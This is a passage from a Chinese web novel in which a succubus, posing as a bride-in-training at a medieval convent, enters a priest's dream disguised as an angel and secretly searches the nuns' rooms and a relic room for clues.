因为她和特蕾莎是第一天入住修道院,今天她们不用劳动和学习,只需要适应这里的环境就好。修女要带她去见一见导师教士。 即使在全是女性的修道院里,往往也有一名导师教士。这名教士由教堂指派,和修女们一同生活,他不仅在附近的村庄传播福音、主持弥撒和婚礼,更要教导和监督修女们的修习。 “艾弗教士是附近有名的神父,他在很早之前就被指派来到这里了,很长一段时间跟我们同吃同住,他是个很虔诚的人,生活简朴肃静,待人真诚善良,早已将自己的一切奉献给上帝。 你们的新娘修行,也会由艾弗教士监督和教导。” 修女低声说着,将之芙带进了教堂中。 在踏进大门之前,之芙就听到了门内传来的细微的唱诗声。 修女留在门外,她一脚踏入—— 仿佛传入了一个世外桃源,一个人类想象中的天堂。无数长椅整整齐齐地隐没在黑暗中,昏暗的教堂内,只有头顶的玻璃花窗投下一片斑驳的色彩,像是舞台的追光,又像是上帝的偏爱,不偏不倚地落在他的身上。 他低垂着头,细小的光斑在他的眼睫上跳动,像是一个轻柔的吻。 他唱诗的声音也十分动听,和刻板印象中尖利高昂的童声不同,他的声音带着成年男人的沙哑和低沉,仿佛倾诉,又像是暧昧的低语。 之芙咽了咽唾沫—— 好香。 和那些死水无波的修女们不一样,他的身上……是被阳光晒得暖融融的食物的味道。 刚刚待在修女中间时的不适在他暖融融的气息里消失了……不对,是变得更加严重了。 可能是刚刚的不舒服影响了她,之芙发现,自己居然对他产生了食欲。 好想吃……好想吃掉他。 第152章 《好消息:莉莉丝降临了!》 潜入他的…… 之芙站在原地, 不断地咽口水。她也觉得奇怪,她不是才在上一部游戏里吃过情绪吗?怎么又饿了…… 可能真的是修女们带给她的影响太大了。作为对情绪敏感的魅魔,她呆在这个所有人都如死水般的地方, 就像是忽然失去了对颜色的感知,眼前的一切都变成黑白色的旧相片, 让人感知错位, 内心深处隐隐有些不适。 面前的男人仿佛陷入了自己的世界里,对周围的一切视若无睹,半闭着眼唱着诗, 那低沉暗哑的声音环绕在空旷的教堂里不断回响, 美好而虔诚,就好像下一秒就会有小天使从虚空中跳出来跟他一起唱和。 之芙趁机打量着他, 他也穿着一身黑白色的修士服, 看起来就是跟修女们的衣服形制的男款, 阳光落在他的脸上, 打出一道淡淡的阴影轮廓。 他眉目高深, 眼睫又长又翘,眼窝深邃,鼻梁是那种欧美人常见的高鼻梁, 嘴唇粗糙而厚, 是典型的欧美人长相——黑头发, 大概是日耳曼人, 也就是近现代的德国人。 之芙在现代的时候偶遇阅读人类的小说和电影,常常感慨影视作品里的德国人穿军装制服很帅, 有一种独一无二的板正优雅的味道,而现在,曾经在电影里见过的人像是活生生地站在自己面前。 就是这样的板正优雅, 穿着制服,不紧不慢地做事的时候,才更有那种独特的味道,几乎把之芙的视线粘了过去。 连什么时候艾弗神父停下了唱诗都不知道:“日安,之芙小姐。” “日安。”之芙回过神来。对方说话的声音也像是唱诗班优雅低沉,只是变得平静了,就像是……那些修女一样。 他身上那种独特的香气散去之后——之芙再次仔细地打量着他——就只是一个普通的英俊男人了。 像是明珠蒙尘,真无聊。之芙瘪瘪嘴,如果他能一直像刚刚那样,保持着充盈的情绪就好了。 “叫我艾弗就好。”对方彬彬有礼,丝毫不知道之芙的心里在想什么。“您是今天第二个来见我的人,女士。房间和饭菜您还习惯吗?” “你也直接叫我之芙就好。”之芙也爽快地应答,她还想再探听点消息,在修道院里,虽然修女们也出门去劳动,但修女曾经说艾弗神父是附近村庄闻名的好神父,他知道得肯定很多——不知道忏悔室里藏着多少秘密呢。 她顿了顿:“神父,您见过特蕾莎小姐了吗?” 艾弗神父点了点头:“吃饭前见过了。” 之芙见他手上都是厚厚的茧子,大约不是那种常年坐在教堂里的‘上等人’,就说:“神父不用担心我不习惯,我不是什么娇小姐,在成为子爵大人的未婚妻之前,我只是个挤牛奶的女工。修道院的环境已经比我之前住的地方好多了。” 神父的脸上露出了稍显意外的表情,片刻后他也顿了顿说:“女士,您不必这样说,不瞒您说,在成为神父之前,我也是只个普通农民。我想在这里,身份并不重要,重要的是对主虔诚的心。” 之芙可没什么对主的虔诚,不过看着艾弗神父认真的样子,她也点了点头:“您是对的。” 艾弗神父露出了微笑。 他示意之芙走到他面前:“女士,修道院里的生活作息想必修女们已经告诉您了,您遇到的一切困难都可以告诉我或是其他修女,修道院里的姐妹们都是一体的,您的困难和问题,就是我们的困难和问题。但相应的,您也要劳作、学习、帮助其他人。 修道院里的劳作并不辛苦,最近是莓果成熟的季节,我们的劳动基本都是采摘莓果,拿到集市上去贩卖——相信这种事情对您来说并不难。 劳作时间偶尔也会有别的安排,如果有需要的话我们会为附近村庄的主持弥撒和婚礼,近年来收成不好,每周三我们在城里施粥布道,散播天主福音。” 之芙问:“那我的新娘修行……” 艾弗神父了然:“您的新娘修行会持续半个月左右,请您放心,修道院不是第一次接待您这样的客人,您的修行课程会暂且保密,后续我会告知您的,您跟着修道院的规矩来就好。” 之芙敏锐地抓住了他话语中的一个细节:“神父,您之前也接待过像我这样的新娘吗?” “是的。” “那她们……怎么样了?我是说,她们的课程顺利吗?她们后来如愿嫁给了自己的丈夫吗?” 艾弗微笑着摇摇头:“您不必担心,课程很简单,而且会根据您的步调调整,只要您虔诚祈祷,您的愿望都会实现的。” “不,其实我的意思是……”之芙挠了挠脸颊,“您认识那些女孩儿吗?她们后来怎么样了?” 这个新娘课程……不会有鬼吧?在这个游戏里,不得不防。 艾弗神父有点惊讶,似乎连他也没有想过这个问题:“女士,这个修道院是由侯爵大人和伯爵大人资助的,来到这里进行新娘修行的小姐们都是贵族小姐,她们不常来我们这里,绅士也不应该打听她们的生活。” 也就是说,连艾弗神父也不知道那些来到这个修道院里进行新娘修行的女孩儿的下落。 “我知道了,谢谢您,神父。” 艾弗神父微笑着点了点头:“今天的时间还早,如果您愿意的话可以在修道院里走一走。” 之芙问:“神父可以带着我走一走吗?” 艾弗面露惊讶:“抱歉,今天有一场弥撒需要我主持,晚一些我要离开,我让修女来帮您吧。” “好吧……”之芙有点遗憾。本来想借着这个机会打听更多的消息呢,修女说艾弗神父已经来到这里很久了,他会不会知道什么修道院里的辛秘? 不过,修女也说艾弗神父是生活简朴正直又虔诚的人……这样的人管理的修道院,应该也不会有什么阴暗的事情吧? 她像艾弗神父告别,往外走出几步,忽然回头—— 神父还微笑着看着她。他站在阳光下,仿佛真的是那个传说中的上帝的化身。 之芙问:“神父,你觉得,恶魔是一个什么样的存在呢?” 艾弗神父愣了愣,表情严肃了起来:“您遇到了什么吗?” 之芙摇头:“不,我只是好奇。” 艾弗神父思索道:“恶魔是恐怖而邪恶的力量化身,有些恶魔曾经侍奉主,却因为作恶而被逐出天堂,它们并不可信,也并不值得怜悯。它们诡计多端,要随时对它们的引诱保持警觉,不过,请相信主的力量远超一切邪恶,我们终将战胜它们。” 随着他的叙述,之芙笑得愈发灿烂。 “我明白了,神父,谢谢您。” 她走出大门,脑海中系统忍不住问她:【为什么要问这个问题?】 【唔……就好奇。】 【关于这个时代我资料,我这里有很多。如果你有什么好奇的可以问我。】系统忍不住说,【我有点担心,你这个问题太敏感了……这个时代太特殊,你最好不要跟恶魔女巫这些东西牵扯上任何瓜葛,这是个“疑罪从有”的时代。】 【放心吧,他不会想到这个问题的。】之芙哼着歌走向了修道院深处。 【真的?】 【真的。】之芙说。 她会给他找点事情做的,好让他不再思考那些无关紧要的事情。比如说……潜入他的梦里。 她也想看看,在恶魔面前,这个神父是不是真的足够虔诚。 第153章 《好消息:莉莉丝降临了!》 天使入梦…… 今天没有安排, 一下午的时间就在探索新地图中度过了。 这个修道院是一栋三层的小楼,最上面一层是大钟,二楼放着杂物, 也供奉一些圣物,譬如圣水和圣绳, 里面还有两个展柜, 一个是一块破烂的麻布——据说是耶稣曾用过的圣物,另一个则是一顶有些灰暗的小王冠。 在之芙参观这些圣物的时候,房间里的修女坐在一旁, 她的脸深深地埋在阴影里, 头巾遮住她脸上的表情,只能看到她的眼睛死死地盯着之芙的动作, 不发一语。 这是修道院里的圣物保管员。据说她也是很早就在修道院里工作了, 只是现在年龄大了, 就被安排了这个清闲的职位。 她死水般平静的眼神直看得之芙心里发毛。 再往下一层就是教堂了, 祷告室和修女们的起居室都在这里, 修女们的生活起居基本就在这个范围之内。 修道院后面有一个占地不小的花园,除了花之外,修女们种了一些简单的植物来自给自足, 偶尔也会把种出来的作物送给附近的穷人。 修道院的地形并不复杂, 结构也很简单, 但就是因为简单, 反而有很多错综复杂的小路,之芙画了一个简略的地形图, 大致地把几条可能会用到的逃生路线给标记出来。 【我已经帮你把修道院的地形扫描下来了,你不用记这个,会留下没必要的线索。】系统在之芙脑海中说。 之芙摇摇头:【这不是我自己用。】虽然她也不确定最后能不能用上, 但以防万一总是好的。 吃完晚饭,就到了祈祷的时间。因为是客人,之芙不用跟修女们一起做晚祷,只要做睡前祷告就可以了。 修女叮嘱她:“晚上修女们还有一场晚祷,在凌晨两点。到时会有钟声响,您不用在意,继续睡觉就好了。” 之芙点点头,独自回到房间里,她点燃一根蜡烛放在床头,像模像样地跪在床前,双手合十,闭上双眼—— 然后在脑海中问系统:【我要做什么?】 【祈祷。】系统说,【祈祷什么都可以,忏悔也可以,记得要把自己的忏悔写下来。】 之芙说:【我没什么好祈祷的,也没什么好忏悔的。】 【那就随便写点什么吧,但可能会有人检查,别写得太敷衍。】 之芙:【……】 【好吧。】她抽出笔,唰唰地写了一行字:【今天的饭菜好难吃。】 这回轮到系统:【……】了。 之芙把笔一扔,把蜡烛吹熄灭,钻进被子里:【系统,帮我看着一点,如果有什么事就叫醒我。】 【放心吧。】系统说,【医院会轮班的。】 【那就好,如果没有别的事情,就两点再起吧……】说着,之芙把被子拉到嘴上,喃喃自语,【两点再去看看她们在做什么,我先睡一会儿,今晚还有得忙呢……】 【放心吧,我会提前叫你的。】系统温和地说。他大概觉得之芙说的是今晚要半夜起床去调查这件事。 但……之芙说得是另一件事。 她闭上眼,潜入了黑暗之中。 之芙在《大卸八块》的游戏副本里曾经跟那个被误认为是魅魔的食梦貘提起过魅魔的能力,只是至今为止她还没有展示过。 当时她说:魅魔是与人类长得一样,但靠吃人类或者其他生物的情感来生活的生物。它们还可以自由地捏造自己的身体,将自己混迹进不同的生物群体中。 之芙思考了一会儿。 魅魔是属于恶魔种类的,所以它们不经常接触天使,但在魅魔的食物排行榜上,天使的名字一直高居第二——第一是人类。所以,魅魔的修习课程里,也有教过它们如何伪装成一个天使。 之芙可是魅魔学院的优等生,即使离开学校,她也没有忘记那些知识。 她先是按照人类的审美和他们的历史给自己的脸稍微调整了一下,把上扬的眼角拉平,斜飞入鬓的棕色眉毛也修成温柔美丽的下弯月似的形状,在嘴角勾出一个柔和的微笑唇。 改完之后的这张脸和她的脸有百分之九十的相似,只有细节处有些微不同,但这样一改,她身上那种张扬跋扈的气质立刻消失了,取而代之的是如水一般的平和慈爱。 紧接着她给自己捏了一对巨大的翅膀。她来之前看过教堂插画里的天使图,里面的天使都只有半臂长短的翅膀,而她特意给自己捏造了一只比她整个人还要大的巨大纯白色翅膀,异常得让人一眼就能留下深刻印象。 她还给自己捏了一个光环,不过这个没什么好说的,就和壁画里的一样,她要跟天使不一样,但不能太不一样。 捏好了,之芙满意地打量着自己的新造型。嗯,很好,既圣洁又经典,让人一眼就能看出来她是一只天使。 不知道艾弗神父会做什么样的梦呢…… 她潜入艾弗的梦里前,还这样思考着。像他这样一个虔诚的教徒,会梦到什么?会梦到天使吗?清醒时已不断向主告罪,梦里还要辛辛苦苦地祷告吗? 还是会梦到恶魔?在梦里他或许是英勇的战士,凭借着对主的忠诚信仰而永不落败,和恶魔战斗到死? ——但一片黑暗。 之芙踏进他的梦里,才发现他的梦里什么也没有。没有人,没有天使,没有恶魔。眼前只有一片黑暗,伸手不见五指,像是坠入了一片死寂而空旷的深渊里。 是还没睡着吗? 之芙决定先捏一个符合自己身份的场景,第一次出场还是很重要的。 第154章 《好消息:莉莉丝降临了!》 大翅膀的…… “……” “……” 前方隐隐约约地传来了细微的响动, 像是低低的歌声。莫名地,艾弗觉得这个声音似乎有点熟悉。 他清楚地意识到自己应该是在做梦,然而, 跟往常不一样的是,他的梦里不再是一片令人迷茫的黑暗, 而有了一片亮光。 在他自己都没有意识到的时候, 他已经在往亮光的方向走去了。 艾弗的脑海中一片迷茫,还处于刚睡醒的懵懂之中,就这样无意识地走了几秒钟——也可能是几分钟, 突然, 他的脑海中忽然浮现出一个他曾经从书上读到的故事。 据说深海中有一种鱼类,长得丑陋无比, 却在身前吊着一盏灯。它们伏击在黑暗处, 用黑暗中的灯光引诱路过的小鱼, 一旦有无知的小鱼被光亮吸引, 它们就会露出真实面容, 一口将鱼吞进肚子里。 “嗯……哼哼……” 前方传来的隐约歌声打断了他的思考。他快步走向前,眼前忽然光芒大盛,继而豁然开朗。 他眼前一亮, 只觉得天地之间都充满了有些刺眼的光晕, 眼前尚且模糊, 耳畔却依旧传来了潺潺的流水声。 他被定在了原地。 ——他像是穿过了什么时光门一般, 来到了一处青草茂盛的山坡上。微风拂过他的脸颊和发丝,带着阵阵青草香。 在他的前方, 有一个硕大而又精致喷泉,喷泉池里金光闪闪,像是投进去的硬币随水漂流, 透明的水花顺着瀑布一般的流水飞溅而下,在阳光下反射出彩虹色的微光。 他几乎看呆了。 但更令他惊讶的是,一个拥有巨大翅膀的女孩坐在喷泉旁的草地上,黑色的长发垂在肩上,断断续续地歌声从她的方向传来,他忽然意识到了自己为什么觉得这歌声莫名地熟悉—— 这正是他今天在教堂唱过的唱诗。只不过……这个女孩儿唱得有点跑调。 天使也会在唱诗的时候跑调吗?他盯着女孩儿头顶的光环思考,她是天使吗? 歌声断断续续,没一会儿就停了下来。女孩儿背对着他,叹了口气。她低下头去,双手捧住脸,百无聊赖地踢着面前的野草,像是有什么心事似的。 天使也会有心事吗?如果有烦恼的话,它们会想什么呢? “娜莎,想说什么就说吧。”背对着他的女孩儿忽然开口,她长长地叹了口气,像是感受到了他的视线,头也不回地说,“只要你在这里陪我一会儿就好。” 艾弗犹豫了一下:“抱歉。” 这位天使小姐似乎认错了人。 面前的天使小姐猛地扭过了头,她张了张嘴,似乎没想到会突然出现这么一个人:“你、你是谁?!” 艾弗不卑不亢地做了简单的自我介绍。在《圣经》的教诲中曾经提起过信徒该如何与天使相处,天使虽然能力比人大,但它不是神,他们可以尊敬天使,却不可以拜服天使,因为唯有神一人值得敬拜,他们可以差使天使,却不可以轻视,因为天使在神的计划中也扮演着重要的一环。 从某种意义上来说,他们是同胞,并没有谁是谁的上司。 他也并不感到讶异,《圣经》中多次提到天使以人的形象出现,他只要保持谦卑和尊敬就可以了。 在艾弗来看,这不过是一次意外的相遇,他不认识她,她当然也不认识他。 没想到天使小姐却惊讶地说:“你叫艾弗吗?我认识你。” “……什么?”艾弗一愣。 “嗯……我从天使们的口中听说过你。她们说你是一个虔诚而正义的人,这是很高的称赞呢。” 艾弗却看着她的脸。处于礼节,方才他并没有仔细地看她的脸,而此刻她说话的时候直视着他,艾弗终于意识到她身上那种隐隐传来的熟悉感是从哪里来的了。 ——她的脸,和今天他曾经见过的之芙小姐一模一样。 直勾勾地盯着一位女士的脸看,是很冒昧的行为,但艾弗没有意识到自己的失礼,无意识地喃喃:“之芙……小姐?” “嗯?你见过我?” 艾弗也愣住了。她和现实里的那位之芙小姐,不仅长得一模一样,连名字都一模一样吗? 是梦吗?还是启示?这是否代表着什么? “不,没什么。嗯……我在一本书上见过你。”慌乱间,艾弗随意找了一个借口。但这借口一出口,他心里又是咯噔一下——他撒谎了。他居然在一位天使面前撒谎了! 天使眨了眨眼,忽然笑了起来:“真的吗?” 天使一定知道他在想什么,只是不点破他罢了。想到这里,他心神一凛,更加恭敬起来。 但没等他忏悔,天使就打断他说:“你说你在书上看到了我的名字,在书上,我是什么样的?” 天使太善良了!她一定什么都知道,也知道自己欺骗了她,却愿意给他一个台阶下。 艾弗说:“书上写,您是一位善良且大度的天使。” 这倒不是谎话,他是真诚的。 天使小姐却自嘲地笑了一下:“也就只能写这些了。” “发生了什么吗?”艾弗问,“我刚刚来时,听到您叹气的声音。您所呼唤的另一个名字,是您的同伴吗?” 说着话,他也坐到了她身边。 “您说的‘陪我一下就好’是什么意思?您很……孤单吗?” “……”天使没有说话。她身后的大翅膀拍打了一下,脸上露出了一种近似于孤单的表情。 “有什么是我可以帮到您的吗?”他小心地询问,语气放得很轻,“您知道的,我们会听从天使的指引。” 天使再次拍打自己的翅膀,发出羽毛扇动时哗啦啦的声响。 他的注意力被吸引了过去。是人间流传的画像有误吗?似乎他从来没有在壁画见过这样大的翅膀。大到只要轻轻收拢翅膀,就能像蛋壳一样把人裹在里面。 “您觉得奇怪吗?”天使小姐的声音从翅膀下传来。“这对翅膀。” 艾弗诚实地点了点头:“似乎壁画有误。人类流传的画像里,天使们都是短短的翅膀,没有见过这样的长翅膀。” 翅膀簌簌地翕动着,把她包裹在了翅膀里面。 她闷闷的声音从翅膀里传出来: “你们没有错,错得是我。” “……您是什么意思?我不太懂。” 巨大的翅膀有气无力地翕动着:“你不觉得我这样的翅膀很奇怪,很特殊吗?” 艾弗仔细地打量着她的翅膀。他是个很严肃,很正派的人。于是没有说那些宽慰人的话,而是实事求是地说:“我不知道。 我没有见过别的天使,所以我不知道这算不算特殊。但是我不觉得奇怪,阳光洒落在翅膀上的样子,很美。 如果你很奇怪的话,我也要变成一个奇怪的人类了。” 翅膀窸窸窣窣地抖动,从翅膀下露出一双眼睛:“什么?” 艾弗诚恳地说:“你是我见到的第一位天使。如果以后我见到短翅膀的天使,我会觉得他们很奇怪,因为我是先认识你,从你身上了解天使的。” 翅膀张开,露出了里面那种美丽的脸。此刻这位天使小姐正捂着嘴笑:“你好怪。人类都像你这么奇怪吗?” 艾弗怔了怔。不知为何,他觉得自己的心跳快了一拍——在她的笑容里。这有点奇怪,就好像……就好像他们很久之前就认识一样。 可是怎么会呢?他可不认识什么天使。 “也……不全是。”艾弗有点支吾,他觉得自己的脸颊有点火辣辣的,他飞快地转移话题,好像落荒而逃一般,“您为什么要叹气呢?” “嗯……”天使小姐又叹气了。她冲他招了招手。 艾弗贴了过去,听到她说:“我的工作还没有完成,没有朋友愿意帮我。” “什么工作?”艾弗立刻问,“这是我的职责所在。” 天使小姐托着腮:“我要找一个恶魔。” “恶魔?!” “嗯,这是我们的工作。”天使小姐煞有介事地点点头,但说着说着,她又蔫了,“但没有人肯帮我。我连那个恶魔是什么样子的都不知道,我只知道她的名字跟我一样。” 艾弗眉头一跳:“名字?” 怎么会这么巧?还有一个叫之芙的恶魔? “嗯。她也叫之芙。”天使从大翅膀里伸出一只手来,点了点他的额头。 这轻轻的一点,仿佛点在了一片平静无波的水面上。水面泛开涟漪,他眼前的景象也像是涟漪般层层散开,一股失重感袭击了他,在闭上眼的最后一刻,他听到天使小姐说: “如果你见到那位恶魔,你要告诉我哦。我不会让你白跑一趟的!嗯……如果你找到她的话,我可以答应你一个愿望。” 第155章 《好消息:莉莉丝降临了!》 可能是他…… 再次睁开眼时, 艾弗颇有些困惑。他双手交叉放在胸前,这是他惯常的睡姿,很端正, 但与惯常不同的是,这一次醒来没有早晨的清醒, 窗外的寒凉的风吹到脸上, 却让他更加茫然,还有一些……头疼。 仿佛是在深夜建了一整片城墙,在深夜种了一棵大树那样的疲倦和头疼。 他尚且还茫然着, 忽然听到窗外一阵清脆的哗啦啦的声响, 这声音也不算少见,因为他住得高, 早起时总能听见窗外树梢上的鸟儿拍打翅膀的声音, 往日里只会忽略这些细微的动静。 但此刻, 听到这阵声音时, 他忽然想起昨夜梦里, 那位特殊的天使小姐的巨大翅膀。 她的翅膀大得异乎寻常,确实和画卷中的天使不太一样,似乎其他天使也是因为这个不愿意帮她。 但艾弗却觉得她的翅膀很美, 像是雏鸟羽毛, 毛茸茸、暖烘烘, 还带着圣洁的微光。她用翅膀把自己笼罩起来的时候, 像一个软软的蛋壳,不愿意面对现实的小鸟把自己藏进翅膀里;又像是初生的小兽躲在属于自己的巢穴之中。 那是一场梦吗?初醒的意识尚且模糊, 他坐了起来,起身走向衣柜时,忽然看见有什么东西顺着他松开的手慢慢悠悠地落了下去——不知何时, 他的掌心里竟然握着一根羽毛。 羽毛也是清浅的金色,仿佛还流淌着梦中那样圣洁的光芒。 艾弗心神巨颤,但又有一种莫名却理所当然的心安:昨晚的一切都不是梦。他真的见到了那位天使小姐。 他飞快地换上衣服,手里紧紧地抓住那根羽毛,穿上鞋子便飞快地向教堂奔去想要下楼去向同胞们宣布自己受到了神的启示, 奔下楼梯时,他才发现自己连头发也没有梳好,但此刻已经顾不上体面了,他欣喜若狂,心里想着的只有昨夜看到的一切,直到—— “砰!”地一声响。 他撞到了一个人。 “啊!”一声尖叫,在还没意识到发生了什么的时候,他就下意识地扶住了自己面前,差点被自己撞到的那个人。 “抱歉!你没事……吧?” 未说出口的话在看清对方的脸的那一刻凝固了,像是一块巨大的奶酪般哽在他的喉咙里。 熟悉的人,熟悉的脸。他脱口而出:“之芙小姐?您怎么在这里?” “唔……倒是我想问问你,神父您今天这么急,是发生什么事了吗?” 面前的人揉着自己的额头,半是抱怨半是好奇地看着他。 艾弗这才骤然清醒过来——面前的人不是他梦里那位天使小姐,而是同名同姓,拥有着同一张脸的的修道院的客人之芙小姐。 也骤然想起了昨夜梦里,那位天使小姐拜托他的事情。 她说,要找一位跟她同名同姓的恶魔。 之芙……这个名字,为什么会同属于一位天使,一个普通人和一个恶魔? “……不,没什么。”艾弗将她扶正,绅士地放开了手,“我想起昨夜还没做完的事,有些着急去处理。” “好吧。”面前的人类之芙笑眯眯地看着他,某一瞬间她的脸竟然和梦里那位天使小姐的笑脸重叠了,但她笑盈盈地,并没有对他敷衍的借口提出质疑,“艾弗神父真是辛苦,怪不得这里的修女们都说您虔诚又努力呢。” “……”艾弗却没有答这话。他定定地看着之芙,好一会儿,才问:“之芙小姐,请问今天有时间吗?” “什么?”之芙歪了歪头,“神父,修女们告诉我今天有劳动安排,要挖些土豆,好在过些日子去布粥。是新娘修行有什么别的安排吗?” “是一些私人问题。”艾弗轻缓地说,“今天的劳动并不缺人手,我跟修女打声招呼,午饭过后请您来祈祷室一趟,我有些事想问问您。” “什么事?” “……我想着,您远道而来,我们还未曾互相认识。”艾弗顿了顿,“您曾说过,您是女工出身,恰好我也曾在贫民窟生活过,想和您聊聊。” “哦……”之芙拖长了声音,笑眯眯地说,“我明白了,艾弗神父,我会去的,您放心。” 艾弗松了口气,像是不敢再看她一眼,脚步匆匆地往外走。 在走之前,他又像是想起了什么,回头问:“看您脸色不太好,是昨晚睡得不好吗?” “确实没睡好。”之芙说。“我昨晚做了个梦。” “什么梦?”艾弗充满探究的眼神射光一般照向她。 之芙说:“醒来之后就不记得了,真是奇怪。” “……”艾弗说,“其实也很正常。如果您能想起些什么,可以在中午跟我聊一聊,梦境也是主的启示,我很乐意倾听。” 他最后朝之芙点头示意,随即转身离开了。 而如果他回头看上一眼,就会发现—— 之芙就站在他的身后,笑盈盈地看着他离开。那眼神,像是一个布置好陷阱,目送着猎物走进去的,残酷又熟稔的猎手。 【发生什么了?】系统在之芙的脑海中开口,声音里带着不可置信,【这是你跟他的第二次见面吧?明明见第一次见的时候他还……】 明明第一次见的时候,这个神父还冷冷淡淡,公事公办的样子。为什么突然就想要跟之芙“互相了解”了???他不觉得自己这话说得很暧昧吗?这是一位神父该说的话、该做得事吗? 【不知道耶。】之芙无辜地说,【可能是他梦到我了吧。谁知道呢?】 【……】系统沉默了一会儿,在她的脑海中重重地哼了一声,【无事献殷勤,非奸即盗。】 之芙伸了个懒腰:【不过他说得没错,我昨晚还真没睡好。待会儿吃完饭找个机会偷偷溜回去补觉。】 【真是的……为什么要在凌晨祷告啊……】 之芙一边打着哈欠,一边在心里抱怨。 毕竟艾弗说得没错,她昨晚确实没有睡好。 毕竟,她在半夜钟声响起之前,就被系统叫醒了,后来终于探险完,又在艾弗的梦里折腾了一个晚上,这能睡好吗。 不过,昨晚她也发现了一些线索,算是没跑一趟。 第156章 《好消息:莉莉丝降临了!》 她们抱怨…… 时间回到昨天深夜, 在修女们凌晨的祈祷开始之前,之芙被系统从梦中叫醒。 这个时代不像是现代,人们往往睡得很早, 之芙就是晚上八点左右睡下的,所以系统在凌晨一点半左右叫醒她的时候她还算是精神。 不过看看窗外沉沉的夜色, 之芙也忍不住抱怨:【修女们白天要劳作, 凌晨两点还要起夜祈祷,能睡得好吗?】 在修道院里,修女们要无时无刻地向上帝祷告和忏悔, 就连夜晚也不能阻碍, 所以她们连睡觉都时间吝啬,不仅是凌晨两点, 凌晨四点还要起来一次, 也就是说她们的睡眠也被干扰, 分成一段一段的。 之芙轻轻推开房门, 墙壁上的蜡烛未曾熄灭, 昏黄烛火映照出她的身影,在古旧的地毯上打下一道孤单的剪影。 之芙举着一只烛台,走到了对门特蕾莎的房间。 特蕾莎跟她一样, 也是修道院的客人, 不需要参与夜晚的祈祷。她轻轻推开特蕾莎的房门——修道院戒备森严, 修女们自视一体, 钱财、食物和书籍都是共享的,所以夜晚她们并不锁门。这恰好方便了之芙的探查。 她稍微遮了遮蜡烛的光, 走进门里,只见特蕾莎正在大床上熟睡,她的脸颊睡得红扑扑的, 丝毫没有白日里那样的嚣张跋扈,反而看起来安详又天真,像个小孩似的毫无防备。 特蕾莎房间的布局跟她的房间布局一样,只有一张床和一张书桌,之芙看到她带着一个建议的支架放在床尾,上面挂着她的衣服和珠宝——也是心大,不怕人偷走。不过,像特蕾莎这样的娇小姐,恐怕从来没有想过可能会有人偷自己的东西吧。 她的桌子上也摆满了带来的东西,有香水、书、包装精美的糖果和纸笔,纸笔摊开放在书桌上睡觉前她似乎在写信。 不过,信封上的字迹模糊不清,又被重重地划去了。借着微弱的烛火,之芙仔细辨认,大概是特蕾莎在信里向母亲抱怨修道院的环境不好,床太硬也没有仆人伺候。没什么特殊的线索。 不过,之芙心里一动。 她记得在来的时候,修女们告诉她她不能与白飞烟见面,但如果特蕾莎能给侯爵夫人写信的话,之芙也可以给白飞烟写信,这样就可以交流线索了。 她记下这个线索,转向特蕾莎的床头——那里放着一本书,如果之芙没有看错的话,这是修女们发给她们的,说是可以用这个本子来记录自己的祈祷和忏悔。 之芙想知道特蕾莎写了什么,于是在心里向这个女孩儿说了一声抱歉后打开了本子—— 映入眼帘的是一句写得歪七八扭的话,很明显它的主人在写下这句话的时候怒气冲天:【难吃!!!修道院里的东西也太难吃了吧,赶紧把这个厨子开掉!!!】 ……倒是很有特蕾莎的风格。之芙有点想笑,因为她也写了一模一样的话,看来是英娥所见略同。 之芙随手把本子放回床头,忽然瞥见这一页的空白处隐隐有些黑色的字迹,像是从背面透出来似的,她翻到背面,只见下一页是一行清秀的字迹,字与字之间间隔很大,还时不时有黑点相隔,像是在非常犹豫的情况下写下的: 【讨厌她】 下一行是【……其实也还行,她跟别人不一样,还算有点意思。】 【……啊啊啊啊啊果然还是不行!最烦她了!】 特蕾莎写的这个她是……难道是自己不成? 时间马上就要到了,之芙把书放回床头,轻手轻脚地退了出去。她暂时躲在了自己的房间里,又等了片刻,门外传来一阵钟声,是提醒修女们起夜的凌晨两点的祷告钟。 她的房间恰好是走廊尽头的房间,没有人会注意到她。之芙把门稍微打开一条缝隙,从缝隙中看到修女们陆陆续续离开房间,沿着走廊往外面的教堂走去。 趁着她们离开的功夫,之芙快速地检查了一下她们的房间,没有找出什么疑点。她们的房间跟之芙的房间布局也是一模一样的,大部分修女连私人物品都很少,只有几本书和记录本放在书桌上。 之芙快速地看了所有人的记录本,但也只是一些非常简单的内容,普通的忏悔和祈祷,不过值得注意的是,之芙看到在前段时间,所有的修女都不约而同地提起了一件事—— 她们说,恶魔变多了,甚至入侵了附近的村庄,为了这个,她们做了好几场净化仪式,但恶魔诱惑的人变得越来越多了……… 之芙立刻想起了系统所说的“猎巫”,在她来到这个世界的时候,猎巫运动已经进行了一段时间,只是当时男女巫都有,直到她来的那一天,《女巫之锤》正式发表,如果按照系统给出的历史来看,在这之后,猎巫运动不仅没有消失,反而愈演愈烈,人们开始互相指认自己认识和不认识的人为女巫,只为了脱罪。 可想而知,按照那些荒唐的判断方法来审判自己的同胞,所有人都会是恶魔。 之芙把她们的记录本放回了原处,心里忍不住想,她们抱怨得太早了,之后还会有得忙,说不定,这些修女之中也会有人被指认为恶魔。 趁着祷告还没结束,之芙举着烛台,悄悄地潜入了二楼。 白天时她就记录过地图,一楼是教堂和修女们的起居室,三楼是教钟和艾弗神父的居所,二楼就是各种各样的杂物间,一般没有事情的话,修女们是不会过去的,所以如果这个修道院里有什么线索的话,之芙认为大概率就隐藏在那里了。 不知道修女们的祷告什么时候结束,时间不多,之芙目的明确,直奔二楼的圣物保管室而去。 白天来时,圣物保管室里的管理员始终监视着她的一举一动,之芙还没来得及仔细研究里面的东西,而且二楼里杂物室众多,却只有这一个地方有管理员,里面想必放着重要的东西。 第157章 《好消息:莉莉丝降临了!》 但是之芙…… 之芙推开门, 悄无声息地钻进了屋子里。 修女们不会在这一层休息,这更方便了之芙的搜索。她拿出怀里的几根蜡烛点燃,把屋子照的勉强能看清楚里面的摆设, 又自己拿了一个烛台,凑到了透明的展柜面前。 屋里的陈设基本跟之前一样, 靠墙是一整墙顶到屋顶的书架, 上面挤满了密密麻麻的古旧的书,旁边放着展示柜,里面是圣水和圣绳——之芙小心翼翼地打开展示柜, 拿出那瓶圣水闻了一下——只有一股腐朽的死水味儿。 系统在脑海中说:【检测过了, 是普通的山泉水,只不过放了很久。】 之芙又拿起一旁的“圣绳”, 这东西看起来就是普通的麻绳, 只是显得特别破旧, 一打开展示柜就能闻到上面传来的一股血腥气味。 【是麻绳, 上面有血。】系统说。 【是谁的血?】 【没有血液对比很难检测出更多东西, 只能看出应该是个男性。】 